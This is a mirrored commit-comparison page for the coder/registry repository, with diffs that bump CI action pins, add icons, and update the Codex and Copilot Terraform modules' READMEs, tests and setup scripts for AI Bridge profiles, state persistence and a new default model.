mirror of
https://github.com/coder/registry.git
synced 2026-06-03 04:58:15 +00:00
Compare commits
42 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 2ee14fdf6e | |||
| 183bd57061 | |||
| 5a241ebce2 | |||
| 4b3045e637 | |||
| d7566cc618 | |||
| 40c2916fa9 | |||
| f1748c80f7 | |||
| f6a09d4c34 | |||
| 7e75d5d762 | |||
| b6c2998eb3 | |||
| ac49e6eef5 | |||
| 63e28c0e95 | |||
| eed8e6c29a | |||
| 7b245549ec | |||
| 2169fb00ee | |||
| e3abbb9aa0 | |||
| 71a4cf2031 | |||
| a0a3783a51 | |||
| eb38bc3092 | |||
| 93e6094b1b | |||
| 6ec506e9b6 | |||
| b794b1edd9 | |||
| 94e41d3780 | |||
| 480bf4b48c | |||
| d8851492c0 | |||
| 186a779659 | |||
| 8defcb2410 | |||
| 14c43d9f29 | |||
| ac92895c50 | |||
| 563dbc4a71 | |||
| 39fec7ca82 | |||
| c5ff4de9ed | |||
| a9a03b167c | |||
| 0449051828 | |||
| 8e68c96633 | |||
| 7e3e842aaa | |||
| 6ac4d70405 | |||
| 49a7985bc6 | |||
| 08e68a2da4 | |||
| 66662db5aa | |||
| e25a972d7d | |||
| a10d5fa6a0 |
@@ -1,7 +1,7 @@
|
||||
name: CI
|
||||
on:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
|
||||
# Cancel in-progress runs for pull requests when developers push new changes
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
@@ -37,9 +37,9 @@ jobs:
|
||||
all:
|
||||
- '**'
|
||||
- name: Set up Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
uses: coder/coder/.github/actions/setup-tf@deaacff8437e3f4ee84bc51c4e5162f6dd7d190e # v2.31.3
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
uses: oven-sh/setup-bun@ecf28ddc73e819eb6fa29df6b34ef8921c743461 # v2
|
||||
with:
|
||||
# We're using the latest version of Bun for now, but it might be worth
|
||||
# reconsidering. They've pushed breaking changes in patch releases
|
||||
@@ -82,18 +82,18 @@ jobs:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Install Bun
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
uses: oven-sh/setup-bun@ecf28ddc73e819eb6fa29df6b34ef8921c743461 # v2
|
||||
with:
|
||||
bun-version: latest
|
||||
# Need Terraform for its formatter
|
||||
- name: Install Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
uses: coder/coder/.github/actions/setup-tf@deaacff8437e3f4ee84bc51c4e5162f6dd7d190e # v2.31.3
|
||||
- name: Install dependencies
|
||||
run: bun install
|
||||
- name: Validate formatting
|
||||
run: bun fmt:ci
|
||||
- name: Check for typos
|
||||
uses: crate-ci/typos@65120634e79d8374d1aa2f27e54baa0c364fff5a # v1.42.1
|
||||
uses: crate-ci/typos@631208b7aac2daa8b707f55e7331f9112b0e062d # v1.44.0
|
||||
with:
|
||||
config: .github/typos.toml
|
||||
validate-readme-files:
|
||||
@@ -106,7 +106,7 @@ jobs:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
|
||||
uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6
|
||||
with:
|
||||
go-version: "1.24.0"
|
||||
- name: Validate contributors
|
||||
|
||||
@@ -15,7 +15,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
- uses: actions/setup-go@7a3fe6cf4cb3a834922a1244abfce67bcef6a0c5 # v6
|
||||
- uses: actions/setup-go@4b73464bb391d4059bd26b0524d20df3927bd417 # v6
|
||||
with:
|
||||
go-version: stable
|
||||
- name: golangci-lint
|
||||
|
||||
@@ -26,12 +26,12 @@ jobs:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Set up Bun
|
||||
uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2
|
||||
uses: oven-sh/setup-bun@ecf28ddc73e819eb6fa29df6b34ef8921c743461 # v2
|
||||
with:
|
||||
bun-version: latest
|
||||
|
||||
- name: Set up Terraform
|
||||
uses: coder/coder/.github/actions/setup-tf@b5360a9180613328a62d64efcfaac5a31980c746 # v2.29.2
|
||||
uses: coder/coder/.github/actions/setup-tf@deaacff8437e3f4ee84bc51c4e5162f6dd7d190e # v2.31.3
|
||||
|
||||
- name: Install dependencies
|
||||
run: bun install
|
||||
@@ -41,7 +41,7 @@ jobs:
|
||||
LABEL_NAME: ${{ github.event.label.name }}
|
||||
id: bump-type
|
||||
run: |
|
||||
case "$LABEL_NAME" in in
|
||||
case "$LABEL_NAME" in
|
||||
"version:patch")
|
||||
echo "type=patch" >> $GITHUB_OUTPUT
|
||||
;;
|
||||
|
||||
@@ -27,7 +27,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Run zizmor (blocking, HIGH only)
|
||||
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
|
||||
uses: zizmorcore/zizmor-action@71321a20a9ded102f6e9ce5718a2fcec2c4f70d8 # v0.5.2
|
||||
with:
|
||||
advanced-security: false
|
||||
annotations: true
|
||||
@@ -49,7 +49,7 @@ jobs:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Run zizmor (SARIF)
|
||||
uses: zizmorcore/zizmor-action@135698455da5c3b3e55f73f4419e481ab68cdd95 # v0.4.1
|
||||
uses: zizmorcore/zizmor-action@71321a20a9ded102f6e9ce5718a2fcec2c4f70d8 # v0.5.2
|
||||
with:
|
||||
inputs: |
|
||||
.github/workflows
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200" fill="none">
|
||||
<g fill="#40BE46">
|
||||
<!-- Eye shape -->
|
||||
<path d="M100 40C55 40 20 80 10 100c10 20 45 60 90 60s80-40 90-60c-10-20-45-60-90-60zm0 100c-35 0-63-28-75-40 12-12 40-40 75-40s63 28 75 40c-12 12-40 40-75 40z"/>
|
||||
<!-- Inner circle (magnifying glass lens) -->
|
||||
<path d="M100 72a28 28 0 1 0 0 56 28 28 0 0 0 0-56zm0 44a16 16 0 1 1 0-32 16 16 0 0 1 0 32z"/>
|
||||
<!-- Horizontal line below -->
|
||||
<rect x="25" y="170" width="150" height="12" rx="6"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 542 B |
+11
-1
@@ -1 +1,11 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="135" height="62" fill="none" viewBox="0 0 135 62"><path fill="#fff" d="M3.168 48V22.272H9.648L9.888 28.464L9.216 28.176C9.568 26.8 10.096 25.632 10.8 24.672C11.536 23.712 12.416 22.976 13.44 22.464C14.464 21.952 15.584 21.696 16.8 21.696C18.944 21.696 20.672 22.32 21.984 23.568C23.328 24.816 24.192 26.496 24.576 28.608L23.664 28.656C23.952 27.152 24.448 25.888 25.152 24.864C25.888 23.808 26.784 23.024 27.84 22.512C28.896 21.968 30.08 21.696 31.392 21.696C33.184 21.696 34.72 22.064 36 22.8C37.28 23.536 38.272 24.64 38.976 26.112C39.68 27.552 40.032 29.328 40.032 31.44V48H32.832V33.456C32.832 31.44 32.528 29.936 31.92 28.944C31.312 27.92 30.32 27.408 28.944 27.408C28.08 27.408 27.344 27.648 26.736 28.128C26.128 28.608 25.648 29.312 25.296 30.24C24.976 31.136 24.816 32.24 24.816 33.552V48H18.336V33.552C18.336 31.568 18.048 30.048 17.472 28.992C16.896 27.936 15.904 27.408 14.496 27.408C13.632 27.408 12.88 27.648 12.24 28.128C11.632 28.608 11.168 29.312 10.848 30.24C10.528 31.168 10.368 32.272 10.368 33.552V48H3.168ZM54.2254 48.576C51.5694 48.576 49.4894 47.728 47.9854 46.032C46.5134 44.304 45.7774 41.904 45.7774 38.832V22.272H52.9774V37.152C52.9774 39.136 53.2814 40.592 53.8894 41.52C54.4974 42.416 55.4574 42.864 56.7694 42.864C58.2414 42.864 59.3774 42.368 60.1774 41.376C61.0094 40.352 61.4254 38.832 61.4254 36.816V22.272H68.6254V48H62.0494L61.8574 40.608L62.7694 40.8C62.3854 43.36 61.4734 45.296 60.0334 46.608C58.5934 47.92 56.6574 48.576 54.2254 48.576ZM72.8486 48L82.0166 34.944L73.0886 22.272H80.7206L86.2406 30.528L91.5686 22.272H99.3926L90.5126 34.992L99.6326 48H92.0006L86.3366 39.264L80.6246 48H72.8486Z"/><rect width="26" height="35" x="109" y="13" fill="#fff"/></svg>
|
||||
<svg width="256" height="256" viewBox="0 0 256 256" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<g clip-path="url(#clip0_147_2)">
|
||||
<path d="M162.358 73H257V182H162.358V73Z" fill="white"/>
|
||||
<path d="M0 182V78.4618H26.039L27.0034 103.381L24.3033 102.221C25.7177 96.6843 27.8391 91.9835 30.6684 88.1202C33.6255 84.2569 37.1618 81.2949 41.2769 79.2343C45.3914 77.1742 49.8921 76.1439 54.7785 76.1439C63.3938 76.1439 70.3377 78.6552 75.6097 83.6773C81.0105 88.6998 84.4824 95.4606 86.0251 103.96L82.3606 104.153C83.518 98.1008 85.5112 93.0138 88.3401 88.8931C91.2976 84.6431 94.8978 81.4883 99.1411 79.4277C103.385 77.2387 108.143 76.1439 113.415 76.1439C120.615 76.1439 126.788 77.6249 131.931 80.5869C137.075 83.5488 141.061 87.9913 143.89 93.9152C146.719 99.7102 148.133 106.858 148.133 115.357V182H119.201V123.47C119.201 115.357 117.98 109.305 115.536 105.312C113.093 101.191 109.107 99.1311 103.577 99.1311C100.106 99.1311 97.1484 100.097 94.7052 102.029C92.262 103.96 90.3332 106.793 88.9188 110.528C87.6326 114.134 86.9895 118.577 86.9895 123.857V182H60.9506V123.857C60.9506 115.872 59.7936 109.755 57.4787 105.505C55.1642 101.256 51.1779 99.1311 45.5202 99.1311C42.0482 99.1311 39.0263 100.097 36.4548 102.029C34.0117 103.96 32.1472 106.793 30.861 110.528C29.5753 114.262 28.9322 118.705 28.9322 123.857V182H0Z" fill="white"/>
|
||||
</g>
|
||||
<defs>
|
||||
<clipPath id="clip0_147_2">
|
||||
<rect width="256" height="256" fill="white"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 1.7 KiB After Width: | Height: | Size: 1.4 KiB |
@@ -0,0 +1,3 @@
|
||||
<svg width="256" height="256" viewBox="0 0 256 256" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M37.3333 213.333C33.0666 213.333 29.3333 211.733 26.1333 208.533C22.9333 205.333 21.3333 201.6 21.3333 197.333V58.6667C21.3333 54.4001 22.9333 50.6667 26.1333 47.4667C29.3333 44.2667 33.0666 42.6667 37.3333 42.6667H218.667C222.933 42.6667 226.667 44.2667 229.867 47.4667C233.067 50.6667 234.667 54.4001 234.667 58.6667V197.333C234.667 201.6 233.067 205.333 229.867 208.533C226.667 211.733 222.933 213.333 218.667 213.333H37.3333ZM37.3333 197.333H218.667V81.0668H37.3333V197.333ZM80 178.133L68.8 166.933L96.2666 139.2L68.5333 111.467L80 100.267L118.933 139.2L80 178.133ZM130.667 179.2V163.2H189.333V179.2H130.667Z" fill="white"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 745 B |
@@ -28,6 +28,8 @@ bun test main.test.ts # Run single TS test (from
|
||||
- Use semantic versioning; bump version via script when modifying modules
|
||||
- Docker tests require Linux or Colima/OrbStack (not Docker Desktop)
|
||||
- Use `tf` (not `hcl`) for code blocks in README; use relative icon paths (e.g., `../../../../.icons/`)
|
||||
- **Do NOT include input/output variable tables in module or template READMEs.** The registry automatically generates these from the Terraform source (e.g., variable and output blocks in `main.tf`). Adding them to the README is redundant and creates maintenance drift.
|
||||
- Usage examples (e.g., a `module "..." { }` block) are encouraged, but not tables enumerating inputs/outputs.
|
||||
|
||||
## PR Review Checklist
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.2.0"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = var.openai_api_key
|
||||
workdir = "/home/coder/project"
|
||||
@@ -32,7 +32,7 @@ module "codex" {
|
||||
module "codex" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.2.0"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
@@ -51,7 +51,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.2.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/project"
|
||||
enable_aibridge = true
|
||||
@@ -63,6 +63,8 @@ When `enable_aibridge = true`, the module:
|
||||
- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
|
||||
|
||||
```toml
|
||||
profile = "aibridge" # sets the default profile to aibridge
|
||||
|
||||
[model_providers.aibridge]
|
||||
name = "AI Bridge"
|
||||
base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
|
||||
@@ -75,8 +77,6 @@ model = "<model>" # as configured in the module input
|
||||
model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
|
||||
```
|
||||
|
||||
Codex then runs with `--profile aibridge`
|
||||
|
||||
This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
|
||||
Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
|
||||
|
||||
@@ -94,7 +94,7 @@ data "coder_task" "me" {}
|
||||
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.2.0"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
ai_prompt = data.coder_task.me.prompt
|
||||
@@ -112,7 +112,7 @@ This example shows additional configuration options for custom models, MCP serve
|
||||
```tf
|
||||
module "codex" {
|
||||
source = "registry.coder.com/coder-labs/codex/coder"
|
||||
version = "4.1.0"
|
||||
version = "4.2.0"
|
||||
agent_id = coder_agent.example.id
|
||||
openai_api_key = "..."
|
||||
workdir = "/home/coder/project"
|
||||
@@ -148,6 +148,19 @@ module "codex" {
|
||||
- **Configuration**: Sets `OPENAI_API_KEY` environment variable and passes `--model` flag to Codex CLI (if variables provided)
|
||||
- **Session Continuity**: When `continue = true` (default), the module automatically tracks task sessions in `~/.codex-module/.codex-task-session`. On workspace restart, it resumes the existing session with full conversation history. Set `continue = false` to always start fresh sessions.
|
||||
|
||||
## State Persistence
|
||||
|
||||
AgentAPI can save and restore its conversation state to disk across workspace restarts. This complements `continue` (which resumes the Codex CLI session) by also preserving the AgentAPI-level context. Enabled by default, requires agentapi >= v0.12.0 (older versions skip it with a warning).
|
||||
|
||||
To disable:
|
||||
|
||||
```tf
|
||||
module "codex" {
|
||||
# ... other config
|
||||
enable_state_persistence = false
|
||||
}
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
### Default Configuration
|
||||
|
||||
@@ -464,22 +464,13 @@ describe("codex", async () => {
|
||||
});
|
||||
|
||||
await execModuleScript(id);
|
||||
|
||||
const startLog = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.codex-module/agentapi-start.log",
|
||||
);
|
||||
|
||||
const configToml = await readFileContainer(
|
||||
id,
|
||||
"/home/coder/.codex/config.toml",
|
||||
);
|
||||
expect(startLog).toContain("AI Bridge is enabled, using profile aibridge");
|
||||
expect(startLog).toContain(
|
||||
"Starting Codex with arguments: --profile aibridge",
|
||||
);
|
||||
expect(configToml).toContain(
|
||||
"[profiles.aibridge]\n" + 'model_provider = "aibridge"',
|
||||
);
|
||||
expect(configToml).toContain('profile = "aibridge"');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -131,13 +131,13 @@ variable "install_agentapi" {
|
||||
variable "agentapi_version" {
|
||||
type = string
|
||||
description = "The version of AgentAPI to install."
|
||||
default = "v0.11.6"
|
||||
default = "v0.12.1"
|
||||
}
|
||||
|
||||
variable "codex_model" {
|
||||
type = string
|
||||
description = "The model for Codex to use. Defaults to gpt-5.2-codex."
|
||||
default = "gpt-5.2-codex"
|
||||
description = "The model for Codex to use. Defaults to gpt-5.3-codex."
|
||||
default = "gpt-5.3-codex"
|
||||
}
|
||||
|
||||
variable "pre_install_script" {
|
||||
@@ -164,6 +164,12 @@ variable "continue" {
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "enable_state_persistence" {
|
||||
type = bool
|
||||
description = "Enable AgentAPI conversation state persistence across restarts."
|
||||
default = true
|
||||
}
|
||||
|
||||
variable "codex_system_prompt" {
|
||||
type = string
|
||||
description = "System instructions written to AGENTS.md in the ~/.codex directory"
|
||||
@@ -184,12 +190,13 @@ resource "coder_env" "coder_aibridge_session_token" {
|
||||
}
|
||||
|
||||
locals {
|
||||
workdir = trimsuffix(var.workdir, "/")
|
||||
app_slug = "codex"
|
||||
install_script = file("${path.module}/scripts/install.sh")
|
||||
start_script = file("${path.module}/scripts/start.sh")
|
||||
module_dir_name = ".codex-module"
|
||||
aibridge_config = <<-EOF
|
||||
workdir = trimsuffix(var.workdir, "/")
|
||||
app_slug = "codex"
|
||||
install_script = file("${path.module}/scripts/install.sh")
|
||||
start_script = file("${path.module}/scripts/start.sh")
|
||||
module_dir_name = ".codex-module"
|
||||
latest_codex_model = "gpt-5.3-codex"
|
||||
aibridge_config = <<-EOF
|
||||
[model_providers.aibridge]
|
||||
name = "AI Bridge"
|
||||
base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
|
||||
@@ -205,25 +212,26 @@ locals {
|
||||
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "2.0.0"
|
||||
version = "2.2.0"
|
||||
|
||||
agent_id = var.agent_id
|
||||
folder = local.workdir
|
||||
web_app_slug = local.app_slug
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
web_app_icon = var.icon
|
||||
web_app_display_name = var.web_app_display_name
|
||||
cli_app = var.cli_app
|
||||
cli_app_slug = var.cli_app ? "${local.app_slug}-cli" : null
|
||||
cli_app_display_name = var.cli_app ? var.cli_app_display_name : null
|
||||
module_dir_name = local.module_dir_name
|
||||
install_agentapi = var.install_agentapi
|
||||
agentapi_subdomain = var.subdomain
|
||||
agentapi_version = var.agentapi_version
|
||||
pre_install_script = var.pre_install_script
|
||||
post_install_script = var.post_install_script
|
||||
start_script = <<-EOT
|
||||
agent_id = var.agent_id
|
||||
folder = local.workdir
|
||||
web_app_slug = local.app_slug
|
||||
web_app_order = var.order
|
||||
web_app_group = var.group
|
||||
web_app_icon = var.icon
|
||||
web_app_display_name = var.web_app_display_name
|
||||
cli_app = var.cli_app
|
||||
cli_app_slug = var.cli_app ? "${local.app_slug}-cli" : null
|
||||
cli_app_display_name = var.cli_app ? var.cli_app_display_name : null
|
||||
module_dir_name = local.module_dir_name
|
||||
install_agentapi = var.install_agentapi
|
||||
agentapi_subdomain = var.subdomain
|
||||
agentapi_version = var.agentapi_version
|
||||
enable_state_persistence = var.enable_state_persistence
|
||||
pre_install_script = var.pre_install_script
|
||||
post_install_script = var.post_install_script
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
@@ -249,6 +257,8 @@ module "agentapi" {
|
||||
chmod +x /tmp/install.sh
|
||||
ARG_OPENAI_API_KEY='${var.openai_api_key}' \
|
||||
ARG_REPORT_TASKS='${var.report_tasks}' \
|
||||
ARG_CODEX_MODEL='${var.codex_model}' \
|
||||
ARG_LATEST_CODEX_MODEL='${local.latest_codex_model}' \
|
||||
ARG_INSTALL='${var.install_codex}' \
|
||||
ARG_CODEX_VERSION='${var.codex_version}' \
|
||||
ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
|
||||
|
||||
@@ -0,0 +1,187 @@
|
||||
run "test_codex_basic" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
openai_api_key = "test-key"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.agent_id == "test-agent"
|
||||
error_message = "Agent ID should be set correctly"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.workdir == "/home/coder"
|
||||
error_message = "Workdir should be set correctly"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.install_codex == true
|
||||
error_message = "install_codex should default to true"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.install_agentapi == true
|
||||
error_message = "install_agentapi should default to true"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.report_tasks == true
|
||||
error_message = "report_tasks should default to true"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.continue == true
|
||||
error_message = "continue should default to true"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_enable_state_persistence_default" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
openai_api_key = "test-key"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == true
|
||||
error_message = "enable_state_persistence should default to true"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_disable_state_persistence" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
openai_api_key = "test-key"
|
||||
enable_state_persistence = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_state_persistence == false
|
||||
error_message = "enable_state_persistence should be false when explicitly disabled"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_codex_with_aibridge" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
enable_aibridge = true
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == true
|
||||
error_message = "enable_aibridge should be set to true"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_aibridge_disabled_with_api_key" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
openai_api_key = "test-key"
|
||||
enable_aibridge = false
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == false
|
||||
error_message = "enable_aibridge should be false"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_env.openai_api_key.value == "test-key"
|
||||
error_message = "OpenAI API key should be set correctly"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_custom_options" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder/project"
|
||||
openai_api_key = "test-key"
|
||||
order = 5
|
||||
group = "ai-tools"
|
||||
icon = "/icon/custom.svg"
|
||||
web_app_display_name = "Custom Codex"
|
||||
cli_app = true
|
||||
cli_app_display_name = "Codex Terminal"
|
||||
subdomain = true
|
||||
report_tasks = false
|
||||
continue = false
|
||||
codex_model = "gpt-4o"
|
||||
codex_version = "0.1.0"
|
||||
agentapi_version = "v0.12.0"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.order == 5
|
||||
error_message = "Order should be set to 5"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.group == "ai-tools"
|
||||
error_message = "Group should be set to 'ai-tools'"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.icon == "/icon/custom.svg"
|
||||
error_message = "Icon should be set to custom icon"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.cli_app == true
|
||||
error_message = "cli_app should be enabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.subdomain == true
|
||||
error_message = "subdomain should be enabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.report_tasks == false
|
||||
error_message = "report_tasks should be disabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.continue == false
|
||||
error_message = "continue should be disabled"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.codex_model == "gpt-4o"
|
||||
error_message = "codex_model should be set to 'gpt-4o'"
|
||||
}
|
||||
}
|
||||
|
||||
run "test_no_api_key_no_aibridge" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
workdir = "/home/coder"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.openai_api_key == ""
|
||||
error_message = "openai_api_key should be empty when not provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = var.enable_aibridge == false
|
||||
error_message = "enable_aibridge should default to false"
|
||||
}
|
||||
}
|
||||
@@ -20,6 +20,8 @@ echo "=== Codex Module Configuration ==="
|
||||
printf "Install Codex: %s\n" "$ARG_INSTALL"
|
||||
printf "Codex Version: %s\n" "$ARG_CODEX_VERSION"
|
||||
printf "App Slug: %s\n" "$ARG_CODER_MCP_APP_STATUS_SLUG"
|
||||
printf "Codex Model: %s\n" "${ARG_CODEX_MODEL:-"Default"}"
|
||||
printf "Latest Codex Model: %s\n" "${ARG_LATEST_CODEX_MODEL}"
|
||||
printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
|
||||
printf "Has Base Config: %s\n" "$([ -n "$ARG_BASE_CONFIG_TOML" ] && echo "Yes" || echo "No")"
|
||||
printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && echo "Yes" || echo "No")"
|
||||
@@ -90,15 +92,25 @@ function install_codex() {
|
||||
|
||||
write_minimal_default_config() {
|
||||
local config_path="$1"
|
||||
|
||||
ARG_DEFAULT_PROFILE=""
|
||||
|
||||
if [[ "${ARG_ENABLE_AIBRIDGE}" = "true" ]]; then
|
||||
ARG_DEFAULT_PROFILE='profile = "aibridge"'
|
||||
fi
|
||||
|
||||
cat << EOF > "$config_path"
|
||||
# Minimal Default Codex Configuration
|
||||
sandbox_mode = "workspace-write"
|
||||
approval_policy = "never"
|
||||
preferred_auth_method = "apikey"
|
||||
${ARG_DEFAULT_PROFILE}
|
||||
|
||||
[sandbox_workspace_write]
|
||||
network_access = true
|
||||
|
||||
[notice.model_migrations]
|
||||
"${ARG_CODEX_MODEL}" = "${ARG_LATEST_CODEX_MODEL}"
|
||||
EOF
|
||||
}
|
||||
|
||||
|
||||
@@ -155,11 +155,8 @@ setup_workdir() {
|
||||
build_codex_args() {
|
||||
CODEX_ARGS=()
|
||||
|
||||
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
|
||||
printf "AI Bridge is enabled, using profile aibridge\n"
|
||||
CODEX_ARGS+=("--profile" "aibridge")
|
||||
elif [ -n "$ARG_CODEX_MODEL" ]; then
|
||||
CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
|
||||
if [[ -n "${ARG_CODEX_MODEL}" ]] && [[ "${ARG_ENABLE_AIBRIDGE}" != "true" ]]; then
|
||||
CODEX_ARGS+=("--model" "${ARG_CODEX_MODEL}")
|
||||
fi
|
||||
|
||||
if [ "$ARG_CONTINUE" = "true" ]; then
|
||||
@@ -213,7 +210,7 @@ capture_session_id() {
|
||||
|
||||
start_codex() {
|
||||
printf "Starting Codex with arguments: %s\n" "${CODEX_ARGS[*]}"
|
||||
agentapi server --term-width 67 --term-height 1190 -- codex "${CODEX_ARGS[@]}" &
|
||||
agentapi server --type codex --term-width 67 --term-height 1190 -- codex "${CODEX_ARGS[@]}" &
|
||||
capture_session_id
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ display_name: Copilot CLI
|
||||
description: GitHub Copilot CLI agent for AI-powered terminal assistance
|
||||
icon: ../../../../.icons/github.svg
|
||||
verified: false
|
||||
tags: [agent, copilot, ai, github, tasks]
|
||||
tags: [agent, copilot, ai, github, tasks, aibridge]
|
||||
---
|
||||
|
||||
# Copilot
|
||||
@@ -13,7 +13,7 @@ Run [GitHub Copilot CLI](https://docs.github.com/copilot/concepts/agents/about-c
|
||||
```tf
|
||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/projects"
|
||||
}
|
||||
@@ -51,7 +51,7 @@ data "coder_parameter" "ai_prompt" {
|
||||
|
||||
module "copilot" {
|
||||
source = "registry.coder.com/coder-labs/copilot/coder"
|
||||
version = "0.3.0"
|
||||
version = "0.4.0"
|
||||
agent_id = coder_agent.example.id
|
||||
workdir = "/home/coder/projects"
|
||||
|
||||
@@ -71,7 +71,7 @@ Customize tool permissions, MCP servers, and Copilot settings:
|
||||
```tf
|
